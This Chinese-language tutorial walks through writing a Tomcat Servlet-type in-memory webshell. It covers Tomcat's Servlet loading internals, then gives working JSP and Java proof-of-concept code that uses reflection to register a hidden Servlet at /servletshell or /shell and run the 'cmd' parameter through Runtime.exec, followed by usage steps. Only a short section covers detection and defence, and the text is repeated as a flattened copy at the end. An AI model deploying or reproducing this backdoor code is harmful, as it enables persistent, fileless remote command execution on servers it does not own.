Tomcat Servlet 型内存马流程理解与手写 EXP
字数 1814 2025-08-12 11:34:27

Tomcat Servlet 型内存马分析与实现

0x01 Servlet 基础概念

Servlet 是 Java Web 开发中的核心组件,它作为客户端请求和服务器响应之间的中间层。Servlet 的生命周期包括以下方法:

public interface Servlet {
    void init(ServletConfig var1) throws ServletException; // 初始化方法,仅调用一次
    ServletConfig getServletConfig(); // 返回Servlet配置对象
    void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException; // 处理请求的核心方法
    String getServletInfo(); // 返回servlet信息
    void destroy(); // 销毁方法,仅调用一次
}

对于内存马开发,我们主要关注 service() 方法,因为它是每次请求都会调用的核心处理方法。

0x02 恶意Servlet示例

基础恶意Servlet实现:

package tomcatShell.Servlet;

import javax.servlet.*;
import java.io.IOException;

public class ServletTest implements Servlet {
    @Override
    public void init(ServletConfig config) throws ServletException {}
    
    @Override
    public ServletConfig getServletConfig() { return null; }
    
    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
    }
    
    @Override
    public String getServletInfo() { return null; }
    
    @Override
    public void destroy() {}
}

0x03 Servlet 工作流程分析

请求处理流程

  1. HTTP请求接收

    • HTTP11Processor 处理原始HTTP请求
    • 通过 CoyoteAdapter 适配器转换为内部表示
  2. 请求处理链

    connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);
    
    • 获取Service → 获取Container(Engine) → 获取Pipeline → 调用第一个Valve
  3. StandardEngineValve处理

    • 进行host相关判断
    • 类似Filter的多个invoke调用

Servlet加载流程

  1. 读取web.xml

    • 通过 ContextConfig#webConfig() 读取配置
    • configureContext(webXml) 中处理Servlet配置
  2. 创建StandardWrapper

    • createWrapper() 创建StandardWrapper对象
    • 将web.xml中的Servlet配置装载到Wrapper中
  3. 添加到Context

    • 通过 addChild() 将Wrapper添加到StandardContext中
    • 调用链:StandardContext.addChild()ContainerBase.addChild()addChildInternal()
  4. Servlet初始化

    • child.start() 启动Servlet线程
    • 经过 LifecycleBase.start()StandardContext#startInternal
    • fireLifecycleEvent() 触发配置加载
  5. Servlet映射

    • addServletMappingDecoded() 添加URL路径映射

关键点总结

  1. StandardWrapper

    • 一个Wrapper对应一个Servlet
    • 负责管理Servlet的生命周期
  2. StandardContext

    • 一个Context对应一个Web应用
    • 可以包含多个Wrapper
  3. loadOnStartup属性

    • 控制Servlet是否在容器启动时加载
    • 正数值越小优先级越高
    • 负数或未指定表示懒加载

0x04 Servlet内存马实现

攻击思路

  1. 获取StandardContext对象
  2. 编写恶意Servlet类
  3. 通过StandardContext.createWrapper()创建Wrapper
  4. 配置Wrapper属性:
    • loadOnStartup
    • ServletName
    • ServletClass
  5. 将Wrapper添加到Context的children中
  6. 添加URL路径映射

JSP版本POC

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    // 获取StandardContext对象
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();

    // 定义恶意Servlet类
    public class Shell_Servlet implements Servlet {
        @Override public void init(ServletConfig config) throws ServletException {}
        @Override public ServletConfig getServletConfig() { return null; }
        @Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd != null) {
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) { e.printStackTrace(); }
            }
        }
        @Override public String getServletInfo() { return null; }
        @Override public void destroy() {}
    }

    // 创建并配置Wrapper
    Shell_Servlet shell_servlet = new Shell_Servlet();
    String name = shell_servlet.getClass().getSimpleName();
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(shell_servlet);
    wrapper.setServletClass(shell_servlet.getClass().getName());

    // 添加到Context并设置映射
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/servletshell", name);
%>

Java版本POC

package tomcatShell.Servlet;

import org.apache.catalina.Wrapper;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;

public class ServletShell implements Servlet {
    @Override public void init(ServletConfig servletConfig) throws ServletException {}
    @Override public ServletConfig getServletConfig() { return null; }
    
    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) 
        throws ServletException, IOException {
        
        // 获取StandardContext
        Field reqF = servletRequest.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(servletRequest);
        StandardContext standardContext = (StandardContext) req.getContext();

        // 创建并配置Wrapper
        ServletShell servletShell = new ServletShell();
        String name = servletShell.getClass().getSimpleName();
        Wrapper wrapper = standardContext.createWrapper();
        wrapper.setLoadOnStartup(1);
        wrapper.setName(name);
        wrapper.setServlet(servletShell);
        wrapper.setServletClass(servletShell.getClass().getName());
        
        // 添加到Context并设置映射
        standardContext.addChild(wrapper);
        standardContext.addServletMappingDecoded("/shell", name);

        // 命令执行功能
        String cmd = servletRequest.getParameter("cmd");
        if (cmd != null) {
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) { e.printStackTrace(); }
        }
    }
    
    @Override public String getServletInfo() { return null; }
    @Override public void destroy() {}
}

0x05 使用说明

  1. JSP版本

    • 访问Servlet.jsp完成内存马注册
    • 访问/servletshell?cmd=命令 执行命令
  2. Java版本

    • 需要配置web.xml添加Servlet调用
    • 访问映射路径/shell?cmd=命令 执行命令

0x06 防御与检测

  1. Servlet内存马特点

    • 必须访问特定路径才能触发
    • 相比Filter/Listener更容易被发现
    • 无法拦截所有请求
  2. 检测方法

    • 检查Context中的children列表
    • 监控非标准路径的Servlet映射
    • 检查loadOnStartup异常的Servlet
  3. 防御建议

    • 限制动态Servlet注册
    • 监控StandardContext修改操作
    • 定期检查Servlet映射表

0x07 总结

Servlet型内存马相比Filter和Listener型有以下特点:

  • 实现相对复杂,需要处理Wrapper和Context
  • 必须访问特定路径才能触发
  • 更容易被传统防护手段检测到
  • 适合作为持久化后门而非请求拦截

理解Servlet在Tomcat中的完整生命周期是开发此类内存马的关键,特别是Wrapper的创建和Context的管理机制。

Tomcat Servlet 型内存马分析与实现 0x01 Servlet 基础概念 Servlet 是 Java Web 开发中的核心组件,它作为客户端请求和服务器响应之间的中间层。Servlet 的生命周期包括以下方法: 对于内存马开发,我们主要关注 service() 方法,因为它是每次请求都会调用的核心处理方法。 0x02 恶意Servlet示例 基础恶意Servlet实现: 0x03 Servlet 工作流程分析 请求处理流程 HTTP请求接收 : 由 HTTP11Processor 处理原始HTTP请求 通过 CoyoteAdapter 适配器转换为内部表示 请求处理链 : 获取Service → 获取Container(Engine) → 获取Pipeline → 调用第一个Valve StandardEngineValve处理 : 进行host相关判断 类似Filter的多个invoke调用 Servlet加载流程 读取web.xml : 通过 ContextConfig#webConfig() 读取配置 在 configureContext(webXml) 中处理Servlet配置 创建StandardWrapper : createWrapper() 创建StandardWrapper对象 将web.xml中的Servlet配置装载到Wrapper中 添加到Context : 通过 addChild() 将Wrapper添加到StandardContext中 调用链: StandardContext.addChild() → ContainerBase.addChild() → addChildInternal() Servlet初始化 : child.start() 启动Servlet线程 经过 LifecycleBase.start() → StandardContext#startInternal fireLifecycleEvent() 触发配置加载 Servlet映射 : addServletMappingDecoded() 添加URL路径映射 关键点总结 StandardWrapper : 一个Wrapper对应一个Servlet 负责管理Servlet的生命周期 StandardContext : 一个Context对应一个Web应用 可以包含多个Wrapper loadOnStartup属性 : 控制Servlet是否在容器启动时加载 正数值越小优先级越高 负数或未指定表示懒加载 0x04 Servlet内存马实现 攻击思路 获取StandardContext对象 编写恶意Servlet类 通过StandardContext.createWrapper()创建Wrapper 配置Wrapper属性: loadOnStartup ServletName ServletClass 将Wrapper添加到Context的children中 添加URL路径映射 JSP版本POC Java版本POC 0x05 使用说明 JSP版本 : 访问Servlet.jsp完成内存马注册 访问/servletshell?cmd=命令 执行命令 Java版本 : 需要配置web.xml添加Servlet调用 访问映射路径/shell?cmd=命令 执行命令 0x06 防御与检测 Servlet内存马特点 : 必须访问特定路径才能触发 相比Filter/Listener更容易被发现 无法拦截所有请求 检测方法 : 检查Context中的children列表 监控非标准路径的Servlet映射 检查loadOnStartup异常的Servlet 防御建议 : 限制动态Servlet注册 监控StandardContext修改操作 定期检查Servlet映射表 0x07 总结 Servlet型内存马相比Filter和Listener型有以下特点: 实现相对复杂,需要处理Wrapper和Context 必须访问特定路径才能触发 更容易被传统防护手段检测到 适合作为持久化后门而非请求拦截 理解Servlet在Tomcat中的完整生命周期是开发此类内存马的关键,特别是Wrapper的创建和Context的管理机制。